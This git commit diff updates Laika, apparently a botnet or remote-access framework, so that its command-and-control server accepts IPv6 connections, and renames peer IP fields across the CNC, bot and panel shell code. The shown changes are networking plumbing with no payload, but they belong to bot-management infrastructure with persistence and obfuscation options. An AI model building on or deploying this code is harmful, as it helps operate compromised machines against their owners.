Lib: Added support for IPV6 connections

This commit is contained in:
CPunch 2022-06-04 10:11:28 -05:00
parent b00ac16cb3
commit c4c5bc9ce5
11 changed files with 36 additions and 40 deletions

View File

@ -353,7 +353,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
LAIKA_TRY LAIKA_TRY
/* setup and accept new peer */ /* setup and accept new peer */
laikaS_acceptFrom(&peer->sock, &cnc->sock, peer->ipv4); laikaS_acceptFrom(&peer->sock, &cnc->sock, peer->ipStr);
laikaS_setNonBlock(&peer->sock); laikaS_setNonBlock(&peer->sock);
/* add to our pollList */ /* add to our pollList */

View File

@ -24,7 +24,7 @@ void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub)); laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN); laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(&authPeer->sock, peer->inet, LAIKA_INET_LEN); laikaS_write(&authPeer->sock, peer->inet, LAIKA_INET_LEN);
laikaS_write(&authPeer->sock, peer->ipv4, LAIKA_IPV4_LEN); laikaS_write(&authPeer->sock, peer->ipStr, LAIKA_IPSTR_LEN);
laikaS_writeByte(&authPeer->sock, peer->type); laikaS_writeByte(&authPeer->sock, peer->type);
laikaS_writeByte(&authPeer->sock, peer->osType); laikaS_writeByte(&authPeer->sock, peer->osType);

View File

@ -14,7 +14,6 @@
/* settings */ /* settings */
#cmakedefine LAIKA_PERSISTENCE #cmakedefine LAIKA_PERSISTENCE
#cmakedefine LAIKA_OBFUSCATE #cmakedefine LAIKA_OBFUSCATE
/* raw obfuscated strings */ /* raw obfuscated strings */

View File

@ -9,7 +9,7 @@
#define LAIKA_MAX_PKTSIZE 4096 #define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_HOSTNAME_LEN 64 #define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPV4_LEN 22 #define LAIKA_IPSTR_LEN 64
#define LAIKA_INET_LEN 22 #define LAIKA_INET_LEN 22
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048 #define LAIKA_SHELL_DATA_MAX_LENGTH 2048
@ -99,7 +99,7 @@ enum {
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN]; * char hostname[LAIKA_HOSTNAME_LEN];
* char inet[LAIKA_INET_LEN]; * char inet[LAIKA_INET_LEN];
* char ipv4[LAIKA_IPV4_LEN]; * char ipStr[LAIKA_IPSTR_LEN];
* uint8_t peerType; * uint8_t peerType;
* uint8_t osType; * uint8_t osType;
*/ */

View File

@ -46,7 +46,7 @@ struct sLaika_peer {
struct sLaika_contentContext context; struct sLaika_contentContext context;
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */ uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN]; char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
struct sLaika_pollList *pList; /* pollList we're activeList in */ struct sLaika_pollList *pList; /* pollList we're activeList in */
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */ struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
void *uData; /* data to be passed to pktHandler */ void *uData; /* data to be passed to pktHandler */

View File

@ -92,7 +92,7 @@ void laikaS_cleanSocket(struct sLaika_socket *sock);
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */ void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */ void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4); void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr);
bool laikaS_setNonBlock(struct sLaika_socket *sock); bool laikaS_setNonBlock(struct sLaika_socket *sock);
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */ void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */

View File

@ -26,7 +26,7 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct
/* zero-out peer info */ /* zero-out peer info */
memset(peer->hostname, 0, LAIKA_HOSTNAME_LEN); memset(peer->hostname, 0, LAIKA_HOSTNAME_LEN);
memset(peer->inet, 0, LAIKA_INET_LEN); memset(peer->inet, 0, LAIKA_INET_LEN);
memset(peer->ipv4, 0, LAIKA_IPV4_LEN); memset(peer->ipStr, 0, LAIKA_IPSTR_LEN);
/* init content context */ /* init content context */
laikaF_initContext(&peer->context); laikaF_initContext(&peer->context);

View File

@ -118,18 +118,18 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
socklen_t addressSize; socklen_t addressSize;
struct sockaddr_in address; struct sockaddr_in6 address;
int opt = 1; int opt = 1;
if (!SOCKETINVALID(sock->sock)) if (!SOCKETINVALID(sock->sock))
LAIKA_ERROR("socket already setup!\n"); LAIKA_ERROR("socket already setup!\n");
/* open our socket */ /* open our socket */
sock->sock = socket(AF_INET, SOCK_STREAM, 0); sock->sock = socket(AF_INET6, SOCK_STREAM, 0);
if (SOCKETINVALID(sock->sock)) if (SOCKETINVALID(sock->sock))
LAIKA_ERROR("socket() failed!\n"); LAIKA_ERROR("socket() failed!\n");
/* attach socket to the port */ /* allow reuse of local address */
#ifdef _WIN32 #ifdef _WIN32
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0) if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0)
#else #else
@ -137,35 +137,32 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
#endif #endif
LAIKA_ERROR("setsockopt() failed!\n"); LAIKA_ERROR("setsockopt() failed!\n");
address.sin_family = AF_INET; address.sin6_family = AF_INET6;
address.sin_addr.s_addr = INADDR_ANY; address.sin6_addr = in6addr_any;
address.sin_port = htons(port); address.sin6_port = htons(port);
addressSize = sizeof(struct sockaddr_in); addressSize = sizeof(address);
/* bind to the port */ /* bind to the port */
if (SOCKETERROR(bind(sock->sock, (struct sockaddr *)&address, addressSize))) if (SOCKETERROR(bind(sock->sock, (struct sockaddr*)&address, addressSize)))
LAIKA_ERROR("bind() failed!\n"); LAIKA_ERROR("bind() failed!\n");
if (SOCKETERROR(listen(sock->sock, SOMAXCONN))) if (SOCKETERROR(listen(sock->sock, SOMAXCONN)))
LAIKA_ERROR("listen() failed!\n"); LAIKA_ERROR("listen() failed!\n");
} }
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4) { void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip) {
struct sockaddr_in address; struct sockaddr_in6 address;
socklen_t addressSize = sizeof(struct sockaddr_in); socklen_t addressSize = sizeof(address);
sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize); sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize);
if (SOCKETINVALID(sock->sock)) if (SOCKETINVALID(sock->sock))
LAIKA_ERROR("accept() failed!\n"); LAIKA_ERROR("accept() failed!\n");
/* read ipv4 */ /* read ip */
if (ipv4) { if (ip) {
if (inet_ntop(AF_INET, &address.sin_addr, ipv4, LAIKA_IPV4_LEN) == NULL) if (inet_ntop(AF_INET6, &address.sin6_addr, ip, LAIKA_IPSTR_LEN) == NULL)
LAIKA_ERROR("inet_ntop() failed!\n"); LAIKA_ERROR("inet_ntop() failed!\n");
/* restore null terminator */
ipv4[LAIKA_INET_LEN-1] = '\0';
} }
} }

View File

@ -6,12 +6,12 @@
typedef struct sShell_peer { typedef struct sShell_peer {
uint8_t pub[crypto_kx_PUBLICKEYBYTES]; uint8_t pub[crypto_kx_PUBLICKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN]; char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
PEERTYPE type; PEERTYPE type;
OSTYPE osType; OSTYPE osType;
} tShell_peer; } tShell_peer;
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet, char *ipv4); tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet, char *ipStr);
void shellP_freePeer(tShell_peer *peer); void shellP_freePeer(tShell_peer *peer);
void shellP_printInfo(tShell_peer *peer); void shellP_printInfo(tShell_peer *peer);

View File

@ -49,7 +49,7 @@ void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN]; char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
tShell_client *client = (tShell_client*)uData; tShell_client *client = (tShell_client*)uData;
tShell_peer *bot; tShell_peer *bot;
@ -58,10 +58,10 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
/* read newly connected peer's pubKey */ /* read newly connected peer's pubKey */
laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES); laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
/* read hostname & ipv4 */ /* read hostname & ip str */
laikaS_read(&peer->sock, hostname, LAIKA_HOSTNAME_LEN); laikaS_read(&peer->sock, hostname, LAIKA_HOSTNAME_LEN);
laikaS_read(&peer->sock, inet, LAIKA_INET_LEN); laikaS_read(&peer->sock, inet, LAIKA_INET_LEN);
laikaS_read(&peer->sock, ipv4, LAIKA_IPV4_LEN); laikaS_read(&peer->sock, ipStr, LAIKA_IPSTR_LEN);
/* read peer's peerType & osType */ /* read peer's peerType & osType */
type = laikaS_readByte(&peer->sock); type = laikaS_readByte(&peer->sock);
@ -72,7 +72,7 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
return; return;
/* create peer */ /* create peer */
bot = shellP_newPeer(type, osType, pubKey, hostname, inet, ipv4); bot = shellP_newPeer(type, osType, pubKey, hostname, inet, ipStr);
/* add peer to client */ /* add peer to client */
shellC_addPeer(client, bot); shellC_addPeer(client, bot);
@ -151,7 +151,7 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
false), false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
shellC_handleAddPeer, shellC_handleAddPeer,
crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t) + sizeof(uint8_t), crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPSTR_LEN + sizeof(uint8_t) + sizeof(uint8_t),
false), false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
shellC_handleRmvPeer, shellC_handleRmvPeer,
@ -258,9 +258,9 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
laikaS_writeByte(sock, LAIKA_OSTYPE); laikaS_writeByte(sock, LAIKA_OSTYPE);
laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */ laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */
/* write stub hostname & ipv4 (since we're a panel/dummy client, cnc doesn't need this information really) */ /* write stub hostname & ip str (since we're a panel/dummy client, cnc doesn't need this information really) */
laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN); laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN);
laikaS_zeroWrite(sock, LAIKA_IPV4_LEN); laikaS_zeroWrite(sock, LAIKA_INET_LEN);
laikaS_endOutPacket(client->peer); laikaS_endOutPacket(client->peer);
laikaS_setSecure(client->peer, true); /* after our handshake, all packet bodies are encrypted */ laikaS_setSecure(client->peer, true); /* after our handshake, all packet bodies are encrypted */

View File

@ -3,7 +3,7 @@
#include "speer.h" #include "speer.h"
#include "sterm.h" #include "sterm.h"
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, char *inet, char *ipv4) { tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, char *inet, char *ipStr) {
tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer)); tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer));
peer->type = type; peer->type = type;
peer->osType = osType; peer->osType = osType;
@ -11,15 +11,15 @@ tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char
/* copy pubKey to peer's pubKey */ /* copy pubKey to peer's pubKey */
memcpy(peer->pub, pubKey, crypto_kx_PUBLICKEYBYTES); memcpy(peer->pub, pubKey, crypto_kx_PUBLICKEYBYTES);
/* copy hostname & ipv4 */ /* copy hostname & ip */
memcpy(peer->hostname, hostname, LAIKA_HOSTNAME_LEN); memcpy(peer->hostname, hostname, LAIKA_HOSTNAME_LEN);
memcpy(peer->inet, inet, LAIKA_IPV4_LEN); memcpy(peer->inet, inet, LAIKA_INET_LEN);
memcpy(peer->ipv4, ipv4, LAIKA_IPV4_LEN); memcpy(peer->ipStr, ipStr, LAIKA_IPSTR_LEN);
/* restore NULL terminators */ /* restore NULL terminators */
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0'; peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
peer->inet[LAIKA_INET_LEN-1] = '\0'; peer->inet[LAIKA_INET_LEN-1] = '\0';
peer->ipv4[LAIKA_IPV4_LEN-1] = '\0'; peer->ipStr[LAIKA_IPSTR_LEN-1] = '\0';
return peer; return peer;
} }
@ -49,5 +49,5 @@ void shellP_printInfo(tShell_peer *peer) {
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */ char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */
sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES); sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipv4, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf); shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipStr, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf);
} }